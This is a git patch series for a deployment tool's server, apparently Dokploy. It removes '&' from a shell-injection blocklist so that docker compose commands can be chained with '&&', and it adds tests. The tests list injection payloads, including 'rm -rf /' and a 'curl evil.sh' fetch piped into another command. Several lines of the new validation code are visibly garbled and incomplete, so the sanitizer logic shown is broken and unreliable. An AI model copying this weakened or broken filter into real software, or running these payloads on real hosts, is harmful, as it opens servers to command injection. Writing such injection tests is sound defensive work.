From ac57e22b87dff954d668929e4f24972afdeb2dab Mon Sep 17 00:00:00 2001 From: ews-pgasser Date: Thu, 6 Aug 2026 15:13:27 +0200 Subject: [PATCH 1/3] fix: allow docker compose command chaining --- packages/server/src/utils/builders/compose.ts | 21 +++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts index 1694a48ed8..89851d84ce 100644 --- a/packages/server/src/utils/builders/compose.ts +++ b/packages/server/src/utils/builders/compose.ts @@ -70,7 +70,8 @@ Compose Type: ${composeType} ✅`; // Shell control characters that must never appear in a user-provided compose // command: they would let it break out of the `docker ${command}` invocation // into arbitrary host commands. A normal docker compose CLI line never needs them. -const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/; +// Removed '&' from the blocklist to allow '&&' chaining +const UNSAFE_COMPOSE_COMMAND = /[;|`$(){}<>\n\\]/; const sanitizeCommand = (command: string) => { const sanitizedCommand = command.trim(); @@ -81,8 +82,24 @@ const sanitizeCommand = (command: string) => { ); } - const parts = sanitizedCommand.split(/\s+/); + if (sanitizedCommand.includes("&")) { + // Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&' + if (/(? cmd.trim()); + const isSafeChain = chains.slice(1).every((cmd) => + cmd.startsWith("docker compose ") || cmd.startsWith("docker-compose ") + ); + if (!isSafeChain) { + throw new Error("Chained commands must strictly start with 'docker compose '"); + } + } + + const parts = sanitizedCommand.split(/\s+/); const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1")); return restCommand.join(" "); From f3c7edcfd6af736aa869daa9c3d5cb89a3232bd6 Mon Sep 17 00:00:00 2001 From: ews-pgasser Date: Fri, 7 Aug 2026 12:00:55 +0000 Subject: [PATCH 2/3] fix: use proper linting --- packages/server/src/utils/builders/compose.ts | 21 +++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts index 89851d84ce..77cfc91db9 100644 --- a/packages/server/src/utils/builders/compose.ts +++ b/packages/server/src/utils/builders/compose.ts @@ -82,20 +82,29 @@ const sanitizeCommand = (command: string) => { ); } - if (sanitizedCommand.includes("&")) { + if (sanitizedCommand.includes("&")) { // Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&' - if (/(? cmd.trim()); - const isSafeChain = chains.slice(1).every((cmd) => - cmd.startsWith("docker compose ") || cmd.startsWith("docker-compose ") - ); + const isSafeChain = chains + .slice(1) + .every( + (cmd) => + cmd.startsWith("docker compose ") || + cmd.startsWith("docker-compose "), + ); if (!isSafeChain) { - throw new Error("Chained commands must strictly start with 'docker compose '"); + throw new Error( + "Chained commands must strictly start with 'docker compose '", + ); } } From 65d2853b9e9e0715d9ae20006f43a2a4b749697e Mon Sep 17 00:00:00 2001 From: ews-pgasser Date: Fri, 7 Aug 2026 12:01:08 +0000 Subject: [PATCH 3/3] chore: add tests --- .../compose/compose-command-injection.test.ts | 67 ++++++++++++++++++- 1 file changed, 66 insertions(+), 1 deletion(-) diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts index 372a6fc592..f979c5c846 100644 --- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts +++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts @@ -28,7 +28,7 @@ const runsSafely = (command: string) => { const PAYLOADS = [ `$(touch ${MARK})`, - "`touch " + MARK + "`", + `\`touch ${MARK}\``, `x; touch ${MARK}`, `x | touch ${MARK}`, ]; @@ -101,4 +101,69 @@ describe("compose createCommand injection", () => { "deploy/docker-compose.prod.yml", ); }); + + it("allows chained docker compose commands with '&&'", () => { + const cmd = createCommand({ + ...base, + command: + "compose pull && docker compose down && docker compose up -d --build", + } as any); + expect(cmd).toBe( + "compose pull && docker compose down && docker compose up -d --build", + ); + }); + + it("allows chaining with the legacy 'docker-compose' spelling", () => { + const cmd = createCommand({ + ...base, + command: "compose pull && docker-compose down", + } as any); + expect(cmd).toBe("compose pull && docker-compose down"); + }); + + it("rejects a single '&' used for backgrounding", () => { + expect(() => + createCommand({ ...base, command: "compose up -d & sleep 1" } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects a malformed '&&&' chain", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull &&& docker compose up -d", + } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects chained segments that are not docker compose invocations", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && rm -rf /", + } as any), + ).toThrow(/must strictly start with 'docker compose '/); + }); + + it("rejects an attempted injection smuggled inside a chained segment", () => { + for (const bad of [ + "compose pull && docker compose up -d; touch /tmp/pwn", + "compose pull && docker compose up -d $(touch /tmp/pwn)", + "compose pull && docker compose up -d `touch /tmp/pwn`", + "compose pull && docker compose up -d | touch /tmp/pwn", + ]) { + expect(() => createCommand({ ...base, command: bad } as any)).toThrow( + /Invalid characters/, + ); + } + }); + + it("rejects a chain that only pretends to start with docker compose later in the string", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && curl evil.sh | docker compose up -d", + } as any), + ).toThrow(/Invalid characters/); + }); });